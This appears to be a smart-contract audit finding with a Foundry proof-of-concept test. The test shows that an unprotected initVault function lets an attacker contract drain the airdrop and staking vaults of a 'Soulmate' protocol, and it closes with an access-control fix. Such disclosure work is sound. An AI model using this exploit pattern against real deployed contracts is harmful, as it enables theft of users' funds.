The impact of this vulnerability is high, as it can lead to loss of funds stored in the vault and disruption of the intended operations of the protocol.
pragma solidity ^0.8.23;
import {Test, console2} from "forge-std/Test.sol";
import {IVault} from "../../src/interface/IVault.sol";
import {ISoulmate} from "../../src/interface/ISoulmate.sol";
import {ILoveToken} from "../../src/interface/ILoveToken.sol";
import {IStaking} from "../../src/interface/IStaking.sol";
import {Vault} from "../../src/Vault.sol";
import {Soulmate} from "../../src/Soulmate.sol";
import {LoveToken} from "../../src/LoveToken.sol";
import {Airdrop} from "../../src/Airdrop.sol";
import {Staking} from "../../src/Staking.sol";
contract AttackTest is Test {
Soulmate public soulmateContract;
LoveToken public loveToken;
Staking public stakingContract;
Airdrop public airdropContract;
Vault public airdropVault;
Vault public stakingVault;
AttackContract public attackContract;
address deployer = makeAddr("deployer");
address soulmate1 = makeAddr("soulmate1");
address soulmate2 = makeAddr("soulmate2");
function setUp() public {
vm.startPrank(deployer);
airdropVault = new Vault();
stakingVault = new Vault();
soulmateContract = new Soulmate();
loveToken = new LoveToken(ISoulmate(address(soulmateContract)), address(airdropVault), address(stakingVault));
stakingContract = new Staking(
ILoveToken(address(loveToken)), ISoulmate(address(soulmateContract)), IVault(address(stakingVault))
);
airdropContract = new Airdrop(
ILoveToken(address(loveToken)), ISoulmate(address(soulmateContract)), IVault(address(airdropVault))
);
attackContract = new AttackContract(address(loveToken));
vm.stopPrank();
}
function testStealFunds() public {
address user = makeAddr("user");
airdropVault.initVault(ILoveToken(address(loveToken)), address(attackContract));
stakingVault.initVault(ILoveToken(address(loveToken)), address(attackContract));
console2.log("Airdrop vault balance before attack", loveToken.balanceOf(address(airdropVault)));
console2.log("Staking vault balance before attack", loveToken.balanceOf(address(stakingVault)));
console2.log("Attack contract balance before attack", loveToken.balanceOf(address(attackContract)));
vm.startPrank(address(user));
attackContract.stealTokens(address(airdropVault));
assertEq(loveToken.balanceOf(address(attackContract)), 500000000e18);
assertEq(loveToken.balanceOf(address(airdropVault)), 0);
attackContract.stealTokens(address(stakingVault));
assertEq(loveToken.balanceOf(address(stakingVault)), 0);
assertEq(loveToken.balanceOf(address(attackContract)), 1000000000e18);
console2.log("Airdrop vault balance after attack", loveToken.balanceOf(address(airdropVault)));
console2.log("Staking vault balance after attack", loveToken.balanceOf(address(stakingVault)));
console2.log("Attack contract balance after attack", loveToken.balanceOf(address(attackContract)));
vm.stopPrank();
}
}
contract AttackContract {
ILoveToken private loveToken;
constructor(address _loveTokenAddress) {
loveToken = ILoveToken(_loveTokenAddress);
}
function stealTokens(address realManagerContract) external {
loveToken.transferFrom(realManagerContract, address(this), 500_000_000e18);
}
}
[PASS] testStealFunds() (gas: 71304)
Logs:
Airdrop vault balance before attack 500000000000000000000000000
Staking vault balance before attack 500000000000000000000000000
Attack contract balance before attack 0
Airdrop vault balance after attack 0
Staking vault balance after attack 0
Attack contract balance after attack 1000000000000000000000000000
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.52ms
Implement access control to restrict the ability to initialize the vault to authorized addresses only.